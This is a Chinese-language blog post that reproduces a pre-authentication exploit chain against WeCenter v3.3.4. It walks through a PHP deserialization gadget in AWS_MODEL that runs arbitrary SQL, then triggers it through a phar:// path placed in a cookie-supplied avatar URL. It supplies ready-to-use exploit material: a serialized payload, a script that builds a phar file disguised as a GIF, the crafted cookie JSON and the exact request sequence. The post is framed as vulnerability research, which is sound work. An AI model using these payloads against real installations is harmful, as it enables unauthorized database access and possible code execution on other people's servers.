WeCenterv3.3.4前台SQL注入及前台RCE[复现]

前言

WeCenterv3.3.4前台SQL注入及前台RCE[复现]

参考文章:某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE

漏洞分析

反序列化漏洞点

定位到漏洞文件./system/aws_model.inc.php,这是一个数据库操作类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class AWS_MODEL
{
...
private $_shutdown_query = array();
...

public function master()
{
if ($this->_current_db == 'master')
{
return $this;
}

if (AWS_APP::config()->get('system')->debug)
{
$start_time = microtime(TRUE);
}

AWS_APP::db('master');

if (AWS_APP::config()->get('system')->debug)
{
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), 'Master DB Seleted');
}

return $this;
}

...

public function __destruct()
{
$this->master();

foreach ($this->_shutdown_query AS $key => $query)
{
$this->query($query);
}
}

...
}

?>

我们看上述代码,看到__destruct()魔术方法,该方法调用了$this->master(),然后调用该对象的$this->_shutdown_query,遍历这个数组(private $_shutdown_query = array();),然后调用了$this->query()函数

跟踪$this->query()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public function query($sql, $limit = null, $offset = null, $where = null)
{
$this->slave();

if (!$sql)
{
throw new Exception('Query was empty.');
}

if ($where)
{
$sql .= ' WHERE ' . $where;
}

if ($limit)
{
$sql .= ' LIMIT ' . $limit;
}

if ($offset)
{
$sql .= ' OFFSET ' . $offset;
}

if (AWS_APP::config()->get('system')->debug)
{
$start_time = microtime(TRUE);
}

try {
$result = $this->db()->query($sql);
} catch (Exception $e) {
show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
}

if (AWS_APP::config()->get('system')->debug)
{
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
}

return $result;
}

我们调用$query()函数,然后在参数部分仅仅只有传入的字符$sql这一个参数,未有任何处理,直接带入查询函数$result = $this->db()->query($sql);,至此就可以执行任意SQL语句.

我们尝试构造exp,尝试触发一下试试.

1
2
3
4
5
6
7
8
9
10
<?php
class AWS_MODEL{
private $_shutdown_query = array();

public function __construct(){
$this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
}
}
echo base64_encode(serialize(new AWS_MODEL));
?>
1
Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e3M6NDoidGVzdCI7czo0ODoiU0VMRUNUIFVQREFURVhNTCgxLCBjb25jYXQoMHhhLCB1c2VyKCksIDB4YSksIDEpIjt9fQ==

小小的demo一下:在一个加载完所有类和各种自动机制完成的文件中手动写入一个触发点,用于验证.比如system/system.php,正好是程序的入口.

1578901697878

1578901765013

验证一下:

1578901997556

可以看到反序列化后的AWS_MODEL类执行了上述的SQL语句.

反序列化漏洞触发点

重点学习一下作者的思路

触发反序列的主要思路:

1.unserialize($v)$v可控的情况下可以进行反序列化.全局搜索/\bunserialize\((.*?)\$(.*?)\)/,寻找可控变量….

2.利用phar反序列化

参考:

PHP反序列化入门之phar

利用 phar 拓展 php 反序列化漏洞攻击面

传入的phar文件,用phar伪协议解析文件,php底层会将phar文件中的meta-data部分进行一次反序列化.如下:

1578903790111

利用条件:

受影响函数($v)$v可控的情况下,传入phar伪协议解析的文件即可完成反序列化.

受影响的函数:

1578903938849

利用正则全局搜索,寻找文件操作函数的可控参数的点.

1
(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)

定位文件models/account.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
public function associate_remote_avatar($uid, $headimgurl)
{
if (!$headimgurl)
{
return false;
}

if (!$user_info = $this->get_user_info_by_uid($uid))
{
return false;
}

if ($user_info['avatar_file'])
{
return false;
}

if (!$avatar_stream = file_get_contents($headimgurl))
{
return false;
}
....

其中的file_get_contents()将传入一个没有任何处理的$headimgurl.到这里我们的目的就是找到一个可控的$headimgurl.

全局搜索->associate_remote_avatar(

跟踪至app/account/ajax.php

1578904813582

然后上述代码可以看到,这里的associate_remote_avatar()是对$wxuser['headimgurl']进行操作,而$wxuser的数据来自于对数据表aws_users_weixin的操作.

1578906082431

所以目标成为了寻找一个对数据表aws_users_weixin操作的函数

全局搜索users_weixin,然后定位文件model/openid/wexin/weixin.php

其中有如下一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public function bind_account($access_user, $access_token, $uid, $is_ajax = false)
{
if (! $access_user['nickname'])
{
if ($is_ajax)
{
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
}
else
{
H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
}
}

if ($openid_info = $this->get_user_info_by_uid($uid))
{
if ($openid_info['opendid'] != $access_user['openid'])
{
if ($is_ajax)
{
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
}
else
{
H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
}
}

return true;
}

$this->insert('users_weixin', array(
'uid' => intval($uid),
'openid' => $access_token['openid'],
'expires_in' => (time() + $access_token['expires_in']),
'access_token' => $access_token['access_token'],
'refresh_token' => $access_token['refresh_token'],
'scope' => $access_token['scope'],
'headimgurl' => $access_user['headimgurl'],
'nickname' => $access_user['nickname'],
'sex' => $access_user['sex'],
'province' => $access_user['province'],
'city' => $access_user['city'],
'country' => $access_user['country'],
'add_time' => time()
));

// $this->associate_avatar($uid, $access_user['headimgurl']);

// $this->model('account')->associate_remote_avatar($uid, $access_user['headimgurl']);

return true;
}

函数bind_account(),其中的insert有一个headimgurl的可控点.

全局搜索这个函数,看看哪里调用了.定位文件app/m/weixin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function binding_action()
{
if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'])
{
$WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
}

if ($WXConnect['access_token']['openid'])
{
$this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);

HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);

if ($_GET['redirect'])
{
HTTP::redirect(base64_decode($_GET['redirect']));
}
else
{
H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
}
}
else
{
H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
}
}

可以看到$WXConnect来自cookie进行json解码.完全可控.

构造$WXConnect

1
2
3
4
5
6
7
8
9
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://file_path';
echo json_encode($arr);
?>

完整的攻击过程:

1.注册账号

2.上传phar文件

3.访问app/m/weixin.phpbinding_action,(将$headimgurl写入数据库中)

4.访问app/account/ajax.phpsynch_img_action(触发反序列化漏洞)

POC

1.注册账号

2.生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class AWS_MODEL{
private $_shutdown_query = array();

public function __construct(){
$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
?>

3.上传phar文件

通过发起问题的编辑器上传图片至服务器,记下上传后的目录.

1578918973759

1
/WeCenter/uploads/question/20200113/4e33eb66b015984a74356bcdee61bc06.gif

4.设置cookie,访问weixin.php

1
2
3
4
5
6
7
8
9
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'wuchenli';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200113/4e33eb66b015984a74356bcdee61bc06.gif';
echo json_encode($arr);
?>
1
{"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"cookie","headimgurl":"phar:\/\/uploads\/question\/20200113\/4e33eb66b015984a74356bcdee61bc06.gif"}}

5.然后访问app/account/ajax.phpsynch_img_action

成功完成SQL注入

Author: 我是小吴啦
Link: http://yoursite.com/2020/01/17/WeCenterv3-3-4%E5%89%8D%E5%8F%B0SQL%E6%B3%A8%E5%85%A5%E5%8F%8A%E5%89%8D%E5%8F%B0RCE-%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.